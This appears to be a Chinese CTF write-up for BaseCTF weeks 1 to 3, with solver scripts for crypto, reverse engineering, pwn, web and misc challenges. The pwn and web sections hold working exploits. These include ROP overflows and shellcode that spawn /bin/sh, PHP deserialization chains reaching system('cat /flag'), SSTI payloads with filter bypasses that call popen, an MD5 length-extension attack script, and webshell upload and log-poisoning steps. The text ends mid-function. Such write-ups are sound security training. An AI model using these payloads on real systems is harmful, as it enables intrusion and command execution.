Week1

Crypto

hello_crypto

from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 已知的 key1 和密文
key1 = 208797759953288399620324890930572736628
ciphertext = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae'

# 将 key1 转换为字节格式
key = long_to_bytes(key1)

# 创建 AES 解密器
my_aes = AES.new(key=key, mode=AES.MODE_ECB)

# 解密并去除填充
decrypted_data = unpad(my_aes.decrypt(ciphertext), AES.block_size)

# 打印解密后的数据
print(decrypted_data)

ez_rsa

from Crypto.Util.number import long_to_bytes, inverse
import gmpy2

# 已知的 n, not_phi 和 c
n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
not_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
c = 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
e = 65537

# Step 1: 从 n 和 not_phi 计算出 p 和 q
# p*q = n, (p+2)*(q+2) = not_phi
# 展开得到 pq + 2p + 2q + 4 = not_phi
# p + q = (not_phi - n - 4) / 2

s = (not_phi - n - 4) // 2
# 使用求解二次方程的方法解出 p 和 q
# x^2 - sx + n = 0
discriminant = gmpy2.isqrt(s*s - 4*n)
p = (s + discriminant) // 2
q = (s - discriminant) // 2

# Step 2: 计算 φ(n)
phi = (p - 1) * (q - 1)

# Step 3: 计算私钥 d
d = inverse(e, phi)

# Step 4: 解密密文
m = pow(c, d, n)

# Step 5: 将解密的数字转换为字符串
decrypted_message = long_to_bytes(m)

# 打印解密后的数据
print(decrypted_message)

你会算md5吗

import hashlib

# Helper function to compute MD5 hash of a string
def md5_hash(text):
    return hashlib.md5(text.encode()).hexdigest()

# Possible characters
possible_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?/"

# Given hashes
hashes = [
    '9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661',
    '03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32',
    '0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3',
    '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506',
    '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c',
    '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7',
    'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3',
    '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5',
    '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3',
    '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7',
    '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327',
    'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543',
    '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c',
    '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f',
    '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661',
    'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327',
    '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7',
    'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32',
    'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c',
    '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f',
    '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661',
    'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661',
    'cbb184dd8e05c9709e5dcaedaa0495cf'
]

# Find corresponding characters
decoded_flag = ''
for hash_val in hashes:
    found = False
    for char in possible_chars:
        if md5_hash(char) == hash_val:
            decoded_flag += char
            found = True
            break
    if not found:
        decoded_flag += '?'  # Use a placeholder if hash not found

print(f"Decoded flag: {decoded_flag}")

十七倍

#include <stdio.h>

int main() {
    unsigned char cipher[] = {
        98, 113, 163, 181, 115, 148, 166, 43, 9, 95,
        165, 146, 79, 115, 146, 233, 112, 180, 48, 79,
        65, 181, 113, 146, 46, 249, 78, 183, 79, 133,
        180, 113, 146, 148, 163, 79, 78, 48, 231, 77
    };

    unsigned char flag[40];
    unsigned char inverse = 241;  // 17's modular inverse modulo 256

    for (int i = 0; i < 40; i++) {
        flag[i] = (cipher[i] * inverse) % 256;
    }

    // Print the decrypted flag
    printf("Decrypted flag: ");
    for (int i = 0; i < 40; i++) {
        printf("%c", flag[i]);
    }
    printf("\n");

    return 0;
}

babypack

from Crypto.Util.number import long_to_bytes

# 从文件中读取a和c的值
with open('D:\\谷歌\\babypack\\output.txt', 'r') as f:
    lines = f.readlines()
    a = eval(lines[0].strip().split('=')[1])
    c = int(lines[1].strip().split('=')[1])

bin_m = []
for i in range(len(a)):
    if c >= a[i]:
        bin_m.append('1')
        c -= a[i]
    else:
        bin_m.append('0')

# 将bin_m转换回整数m
m = int(''.join(bin_m), 2)

# 将m转换回flag
flag = long_to_bytes(m)
print(flag)

Re

You are good at IDA

按照shift和f12进行查找最后拼接就行了

BaseCTF{Y0u_4Re_900d_47_id4}

UPX mini

QmFzZUNURntIYXYzX0BfZzBvZF90MW0zISEhfQ==

base64解密

BaseCTF{Hav3_@_g0od_t1m3!!!}

ez_maze

from collections import deque

def find_path(maze, start_pos, end_pos):
    ROWS = len(maze)
    COLS = len(maze[0])
    
    def move(pos, direction):
        x, y = divmod(pos, COLS)
        if direction == 'd':  # Right
            return pos + 1
        elif direction == 's':  # Down
            return pos + COLS
        elif direction == 'w':  # Up
            return pos - COLS
        elif direction == 'a':  # Left
            return pos - 1
        return pos
    
    def is_valid(pos):
        if pos < 0 or pos >= ROWS * COLS:
            return False
        x, y = divmod(pos, COLS)
        return maze[x][y] != '$'
    
    queue = deque([(start_pos, '')])
    visited = set()
    visited.add(start_pos)

    while queue:
        current_pos, path = queue.popleft()
        if current_pos == end_pos:
            return path
        
        for direction in 'dsaw':
            new_pos = move(current_pos, direction)
            if is_valid(new_pos) and new_pos not in visited:
                visited.add(new_pos)
                queue.append((new_pos, path + direction))
                
    return None

# 迷宫初始化
maze = [
    "x$$$$$$$$$$$$$$",
    "&&&&&&$$$$$$$$$",
    "&$&$$&$$&&&&&$$",
    "&$&$$$&&$$$$&$$",
    "&$$$&&&$$$$$&$$",
    "&$$$&$&&$&$$$$$",
    "&$$$&$&$$&&&$$$",
    "&&&&&$&&&&$&$$$",
    "$$$$$$&&&&&&$$$",
    "$$$$$$&$$$$$$$$",
    "$$$&&&&$$&&&$$$",
    "$$$&&&&&&&$$$$$",
    "$$$$$$$$$&$$&$$",
    "$$$$$$$$$&$&$$$",
    "$$$$$$&&&&&&&&y"
]

# 将迷宫数据转换为一维列表
ROWS = 15
COLS = 15
maze_1d = ''.join(maze)

# 起点和终点
START = 0
END = (ROWS - 1) * COLS + (COLS - 1)  # 最后一行最后一列的位置

# 查找路径
path = find_path([maze_1d[i * COLS:(i + 1) * COLS] for i in range(ROWS)], START, END)
if path:
    print(f"找到的路径:{path}")
else:
    print("没有找到路径")

最后进行MD5加密就行

BasePlus

import base64

# Secret array used in encoding
Secret = '/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC'

def decode(encoded_str):
    decoded_str = ""

    # Step 1: XOR each character with 0xE to undo the XOR applied during encoding
    xor_str = "".join(chr(ord(char) ^ 0xE) for char in encoded_str)

    # Process the string in chunks of 4 characters
    for i in range(0, len(xor_str), 4):
        enc_chunk = xor_str[i:i+4]

        try:
            # Reverse the Base64-like encoding using the Secret array
            v15 = (Secret.index(enc_chunk[0]) << 2) | (Secret.index(enc_chunk[1]) >> 4)
            v16 = ((Secret.index(enc_chunk[1]) & 0xF) << 4) | (Secret.index(enc_chunk[2]) >> 2)
            v17 = ((Secret.index(enc_chunk[2]) & 0x3) << 6) | Secret.index(enc_chunk[3])

            # Reconstruct the original characters
            decoded_str += chr(v15)
            if v16 != 0:
                decoded_str += chr(v16)
            if v17 != 0:
                decoded_str += chr(v17)

        except ValueError as e:
            print(f"Error processing chunk: {enc_chunk} - {e}")
            return None

    return decoded_str

# Example usage
encoded_str = "lvfzBiZiOw7<lhF8dDOfEbmI]i@bdcZfEc^z>aD!"
decoded_str = decode(encoded_str)

if decoded_str is not None:
    print(f"Decoded string: {decoded_str}")
else:
    print("Decoding failed due to an error.")

Ez Xor

import struct

def key_stream(key, length):
    """生成与输入数据长度相同的key stream"""
    return bytes([i ^ key[i % len(key)] for i in range(length)])

def encrypt_decrypt(data, key_stream):
    """对数据进行加密/解密操作"""
    return bytes([data[i] ^ key_stream[len(data) - i - 1] for i in range(len(data))])

def attempt_decryption(encrypted_data, key):
    """尝试用给定的key解密数据"""
    key_stream_data = key_stream(key, len(encrypted_data))
    decrypted = encrypt_decrypt(encrypted_data, key_stream_data)

    try:
        flag = decrypted.decode('ascii')
        if flag.startswith("Base"):
            return flag, "可能的flag"
        else:
            return flag, "解密结果"
    except UnicodeDecodeError:
        return decrypted.hex(), "无法解码为ASCII,十六进制结果"

def main():
    encrypted_flag = (
        b'\x01\x09\x05\x25\x26\x2D\x0B\x1D'
        b'\x24\x7A\x31\x20\x1E\x49\x3D\x67'
        b'\x4D\x50\x08\x25\x2E\x6E\x05\x34'
        b'\x22\x40\x3B\x25'
    )

    key_value = 7499608

    # 定义不同格式的key
    keys = [
        struct.pack('<I', key_value),      # 小端 32 位
        struct.pack('>I', key_value),      # 大端 32 位
        struct.pack('<I', key_value)[:3],  # 小端 24 位
        struct.pack('>I', key_value)[1:],  # 大端 24 位
    ]

    for i, key in enumerate(keys):
        print(f"\n尝试 key {i + 1}: {key.hex()}")
        result, status = attempt_decryption(encrypted_flag, key)
        print(f"{status}: {result}")

if __name__ == "__main__":
    main()

Pwn

签个到吧

from pwn import *
# 设置连接信息
host = 'challenge.basectf.fun'
port = 33292
# 连接到远程服务
p = remote(host, port)

# 发送和接收数据
p.sendline(b'cat /flag')
response = p.recvline()
print(response.decode())

# 继续其他的交互操作
# 关闭连接
p.close()

echo

from pwn import *

# 设置连接信息
host = 'challenge.basectf.fun'
port = 40511

# 连接到远程服务
p = remote(host, port)

# 尝试使用 echo 和 bash 的 < 操作符读取文件
p.sendline(b'echo $(</flag)')
response = p.recvline()
print(response.decode())

# 关闭连接
p.close()

我把她丢了

填充使其溢出调用到bin/sh,就可以了

from pwn import *

p = remote("challenge.basectf.fun", 49516)

#system_plt=elf.plt["system"]
pop_rdi_ret=0x0000000000401196
main=0x000000000040124B
payload=0x78*b'a'+p64(pop_rdi_ret)+p64(0x0000000000402008)+p64(0x000000000040120F)+p64(main)
#寄存器地址->bin/sh调用到system最后进入main
p.sendline(payload)

# 进入交互模式
p.interactive()

Re2text

from pwn import *

# 连接到远程服务
p = remote("challenge.basectf.fun", 30147)

# 构造 payload
payload = b'a' * 0x28+p64(0x40101A)+p64(0x4011a4)           # 填充缓冲区

# 发送 payload
p.sendline(payload)

# 进入交互模式
p.interactive()

shellcode_level0

from pwn import *

# 连接到远程服务
p = remote('challenge.basectf.fun', 49846)

# Shellcode 是一段二进制代码,可以直接在内存中执行。这个 shellcode 会启动一个 /bin/sh shell。

shellcode = (
    b"\x48\x31\xc0"            # xor rax, rax        ; 清空 rax 寄存器 (rax = 0)
    b"\x50"                    # push rax            ; 将 rax (0) 压入栈,作为 NULL 终止符
    b"\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68" # mov rbx, 0x68732f2f6e69622f ; 将 "/bin//sh" 存入 rbx
    b"\x53"                    # push rbx            ; 将 rbx ("/bin//sh") 压入栈
    b"\x48\x89\xe7"            # mov rdi, rsp        ; 将栈指针 rsp 的值赋给 rdi,现在 rdi 指向 "/bin//sh"
    b"\x48\x31\xf6"            # xor rsi, rsi        ; 清空 rsi 寄存器 (rsi = 0),表示 NULL
    b"\x48\x31\xd2"            # xor rdx, rdx        ; 清空 rdx 寄存器 (rdx = 0),表示 NULL
    b"\x48\x31\xc0"            # xor rax, rax        ; 清空 rax 寄存器 (rax = 0)
    b"\xb0\x3b"                # mov al, 0x3b        ; 将 0x3b (59) 赋给 al 寄存器,59 是 execve 的系统调用号
    b"\x0f\x05"                # syscall             ; 触发系统调用,执行 execve("/bin/sh", NULL, NULL)
)

p.sendline(shellcode)

p.interactive()

web

HTTP 是什么呀

?basectf=we1c%2500me

Base=fl@g

http1

http2

http3

base解密得到flag

喵喵喵´•ﻌ•`

喵喵喵

md5绕过欸

md5

A Dark Room

直接查看源码得到flag

upload

上传一句话木马,观看源码在uploads/,直接上传php即可

Aura 酱的礼物

混了个二血😋

前两个一个是php伪协议,一个直接输入

第三个

我是用的是@进行重定向,然后用我自己的vps开个端口进行拼接就行(理论上不需要这么复杂,只是最先想到这个办法

aura

最后进行伪协议读取flag

// flag{c985afc7-50f1-44e5-87f0-221d081b9459} Aura 酱有拿到一血吗?

Misc

你也喜欢圣物吗

打开下来先用010打开图片看,底部有个base64的编码

提示去看LSB

利用stegsolve进行分析,得到key

解开第一层压缩包

第二层伪加密工具进行解密,打开进去滑到下面有个真的flag

根本进不去啊!

进不去

dig的命令是进行域信息搜索器,找txt得到flag

海上遇到了鲨鱼

利用wireshark打开,http找到php,里面有flag,进行简单的反转得到flag

正着看还是反着看呢?

利用python读取图片文件,然后反转图片进行逆向

将文件拖到虚拟机,进行foremost,里面有压缩包解压得到flag

Base

直接64,32进行解密

签到!DK 盾!

直接公众号发送就行

人生苦短,我用Python

其他部分都可以看着推,我这边放一下推算15的情况

import itertools

# 目标值
target_value = 41378751114180610

# 我们已知的 flag 结构
flag = 'BaseCTF{s1Mpl3_1s_l1Tt3r_Th4n_C0mPl3x}'

# 定义我们将尝试的字符集
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'

# 计算函数
def calculate_sum(chars):
    return sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(chars))

# 生成所有可能的组合并测试
for combo in itertools.product(charset, repeat=3):
    candidate = ''.join(combo)
    if calculate_sum(candidate) == target_value:
        # 找到符合条件的组合,更新 flag
        flag = flag[:17] + candidate + flag[20:]
        print(f"Found correct sequence: {candidate}")
        print(f"Correct flag: {flag}")
        break
else:
    print("No valid sequence found.")
#得到flagimport itertools

# 目标值
target_value = 41378751114180610

# 我们已知的 flag 结构
flag = 'BaseCTF{s1Mpl3_1s_l1Tt3r_Th4n_C0mPl3x}'

# 定义我们将尝试的字符集
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'

# 计算函数
def calculate_sum(chars):
    return sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(chars))

# 生成所有可能的组合并测试
for combo in itertools.product(charset, repeat=3):
    candidate = ''.join(combo)
    if calculate_sum(candidate) == target_value:
        # 找到符合条件的组合,更新 flag
        flag = flag[:17] + candidate + flag[20:]
        print(f"Found correct sequence: {candidate}")
        print(f"Correct flag: {flag}")
        break
else:
    print("No valid sequence found.")
#BaseCTF{s1Mpl3_1s_BeTt3r_Th4n_C0mPl3x}

倒计时?海报!

配合stegsolve即可正确食用,一开始一直没写听说废眼,真正做的话十分钟以内估计就解决了附上各个对应的截图

haibao1 haibao2 haibao3 haibao4 haibao1 haibao1 haibao1 haibao1 haibao1 haibao10

BaseCTF{c0unt_d0wn_fro3_X_every_d@y_i5_re@11y_c0o1_@nd_h@rd_t0_do_1t_ev3ry_n1ght}

喵喵太可爱了

跟着幸运儿拿的flag

BaseCTF{m1a0_mi@o_1s_n0t_a_b3tr4yer_t0_t3l1_the_f1ag}

week2(以后只写web了,orz)

web

ez_ser

<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;
    }
}

class web {
    public $kw;
    public $dt;

    public function __wakeup() {
        echo "lalalla".$this->kw;
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }
}

class Crypto {
    public function __wakeup() {
        echo "happy happy happy!";
    }

    public function getflag() {
        echo "you are over!";
    }
}
$ser = $_GET['ser'];
unserialize($ser);
?>

构造exp

$exp = new web;
$exp->kw = new re;
$exp->kw->chu0 = new pwn;
$exp->kw->chu0->over = new Misc;
echo urlencode(serialize($exp));

一起吃豆豆

不能直接f12,可以用浏览器的开发者工具打开f12,看js代码

context.fillText(_LIFE ? atob("QmFzZUNURntKNV9nYW0zXzFzX2Vhc3lfdDBfaDRjayEhfQ==") : 'GAME OVER', this.x, this.y);

base64解一下就出来了

Happy Birthday

尝试了一下发现要传pdf格式并且需要文件相同,可以参考我php绕过那篇文章,利用fastcoll.exe生成两个文件,得到flag

你听不到我的声音

这题考察的是这个函数没有直接的回显,可以重定向,利用>得到flag

cmd=cat /flag>1.txt

Really EZ POP

<?php
highlight_file(__FILE__);

class Sink
{
    private $cmd = 'echo 123;';
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}

if ($_POST['nature']) {
    $nature = unserialize($_POST['nature']);
}

构造exp

$exp = new Nature;
$exp->sea = new Sea;
$exp->sea->see = new Sink;
echo urlencode(serialize($exp));

RCEisamazingwithspace

过滤了空格,用常见的空格绕过就行

网上搜搜就行了,没什么好说的

数学大师

本体唯一的写脚本难度就是代码逻辑问题,本人写错的原因就是因为post了两次导致一直重复发包始终分数为1,就直接上exp了

import requests
import re
url = 'http://challenge.basectf.fun:29992/'
session = requests.Session()
session.cookies.set('PHPSESSID', '7ovv17kbkuh5f6pr1d2tbk07qt')
response = session.post(url)
math = re.search(r'second (\d+.+?)\?', response.text)
math = math.group(1).strip()
math = math.replace('÷', '//').replace('×', '*')
answer = eval(math)
for i in range(51):
    post_data = {'answer': answer}
    post_response = session.post(url, data=post_data)
    math = re.search(r'second (\d+.+?)\?', post_response.text)
    math = math.group(1).strip()
    math = math.replace('÷', '//').replace('×', '*')
    answer = eval(math)
    print(post_response.text)

所以你说你懂 MD5?

<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
    die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
    die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
    die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
    die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
    die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');

第一层正常的数组绕过

apple[]=1&banana[]=2

第二层和第三层都强制转string了,可以利用到fastcoll来获得内容进行绕过,这里我直接用网上的了

appple=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&bananana=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2&apppple=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&banananana=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2

最后一层已知$random的MD5值,可以控制name和md5的值,求等式进行绕过,通过了解知道是MD5长度拓展攻击

先前一直在找hashpump的一直不好用现在贴一个比较好用的脚本

from struct import pack, unpack
from math import floor, sin


"""
MD5 Extension Attack
====================

@refs
https://github.com/shellfeel/hash-ext-attack
"""


class MD5:

    def __init__(self):
        self.A, self.B, self.C, self.D = \
            (0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476)  # initial values
        self.r: list[int] = \
            [7, 12, 17, 22] * 4 + [5,  9, 14, 20] * 4 + \
            [4, 11, 16, 23] * 4 + [6, 10, 15, 21] * 4  # shift values
        self.k: list[int] = \
            [floor(abs(sin(i + 1)) * pow(2, 32))
             for i in range(64)]  # constants

    def _lrot(self, x: int, n: int) -> int:
        # left rotate
        return (x << n) | (x >> 32 - n)

    def update(self, chunk: bytes) -> None:
        # update the hash for a chunk of data (64 bytes)
        w = list(unpack('<'+'I'*16, chunk))
        a, b, c, d = self.A, self.B, self.C, self.D

        for i in range(64):
            if i < 16:
                f = (b & c) | ((~b) & d)
                flag = i
            elif i < 32:
                f = (b & d) | (c & (~d))
                flag = (5 * i + 1) % 16
            elif i < 48:
                f = (b ^ c ^ d)
                flag = (3 * i + 5) % 16
            else:
                f = c ^ (b | (~d))
                flag = (7 * i) % 16

            tmp = b + \
                self._lrot((a + f + self.k[i] + w[flag])
                           & 0xffffffff, self.r[i])
            a, b, c, d = d, tmp & 0xffffffff, b, c

        self.A = (self.A + a) & 0xffffffff
        self.B = (self.B + b) & 0xffffffff
        self.C = (self.C + c) & 0xffffffff
        self.D = (self.D + d) & 0xffffffff

    def extend(self, msg: bytes) -> None:
        # extend the hash with a new message (padded)
        assert len(msg) % 64 == 0
        for i in range(0, len(msg), 64):
            self.update(msg[i:i + 64])

    def padding(self, msg: bytes) -> bytes:
        # pad the message
        length = pack('<Q', len(msg) * 8)

        msg += b'\x80'
        msg += b'\x00' * ((56 - len(msg)) % 64)
        msg += length

        return msg

    def digest(self) -> bytes:
        # return the hash
        return pack('<IIII', self.A, self.B, self.C, self.D)


def verify_md5(test_string: bytes) -> None:
    # (DEBUG function) verify the MD5 implementation
    from hashlib import md5 as md5_hashlib

    def md5_manual(msg: bytes) -> bytes:
        md5 = MD5()
        md5.extend(md5.padding(msg))
        return md5.digest()

    manual_result = md5_manual(test_string).hex()
    hashlib_result = md5_hashlib(test_string).hexdigest()

    assert manual_result == hashlib_result, "Test failed!"


def attack(message_len: int, known_hash: str,
           append_str: bytes) -> tuple:
    # MD5 extension attack
    md5 = MD5()

    previous_text = md5.padding(b"*" * message_len)
    current_text = previous_text + append_str

    md5.A, md5.B, md5.C, md5.D = unpack("<IIII", bytes.fromhex(known_hash))
    md5.extend(md5.padding(current_text)[len(previous_text):])

    return current_text[message_len:], md5.digest().hex()


if __name__ == '__main__':

    message_len = int(input("[>] Input known text length: "))
    known_hash = input("[>] Input known hash: ").strip()
    append_text = input("[>] Input append text: ").strip().encode()

    print("[*] Attacking...")

    extend_str, final_hash = attack(message_len, known_hash, append_text)

    from urllib.parse import quote
    from base64 import b64encode

    print("[+] Extend text:", extend_str)
    print("[+] Extend text (URL encoded):", quote(extend_str))
    print("[+] Extend text (Base64):", b64encode(extend_str).decode())
    print("[+] Final hash:", final_hash)

通过对源码的分析得知random的长度应该是96

dongmd5

然后填入就好了

dongmd51

week3

web

ez_php_jail

这题搜一下其实挺有意思的,应该是从这篇文章进行微调出的题目,ringzer0 CTF - Jail Escaping PHP,具体应该是对应level4的那个题目

打开查看源码进行base64解密,进入可以查看phpinfo(),得到了php版本是7.4,以及一些disable_functions

直接利用文章构造payload,其外根据php特性,在php小于8的情况下_是直接转化成.可以利用[进行绕过

?Jail[by.Happy=highlight_file(glob("/f*")[0]);

复读机

有过滤的,手测一下

{{ + - * }} " : \ / __ .,接下来就是正常的RCE就行了

BaseCTF{%print(''['_''_cla''ss_''_']['_''_m''ro_''_'][1]['_''_subcl''asses_''_']()[137])%}

可以利用BaseCTF<class 'os._wrap_close'>

BaseCTF{%print(''['_''_cla''ss_''_']['_''_m''ro_''_'][1]['_''_subcl''asses_''_']()[137]['_''_in''it_''_']['_''_gl''obals_''_']['po''pen']('env')['re''ad']())%}

看看环境,已知不能使用/,可以切换根目录再读取

BaseCTF{%print(''['_''_cla''ss_''_']['_''_m''ro_''_'][1]['_''_subcl''asses_''_']()[137]['_''_in''it_''_']['_''_gl''obals_''_']['po''pen']('cd $OLDPWD;cat flag')['re''ad']())%}

滤个不停

这题和ctfshow的web4基本差不多,一开始我以为要从伪协议入手,还是要求的是服务器日志,用的是Nginx,存放在/var/log/nginx/access.log里面,让Datch赋值这个,然后在UA头里写马就行了

滤个不停

玩原神玩的

这题其实还是能研究很多的,我写代码的能力一直挺一般的,这个还是稍微考究一些

<?php
highlight_file(__FILE__);
error_reporting(0);

include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
 ys_open($_GET['tip']);
} else {
 die("错了!就你还想玩原神?❌❌❌");
}

function ys_open($tip) {
 if ($tip != "我要玩原神") {
  die("我不管,我要玩原神!😭😭😭");
 }
 dumpFlag();
}

function dumpFlag() {
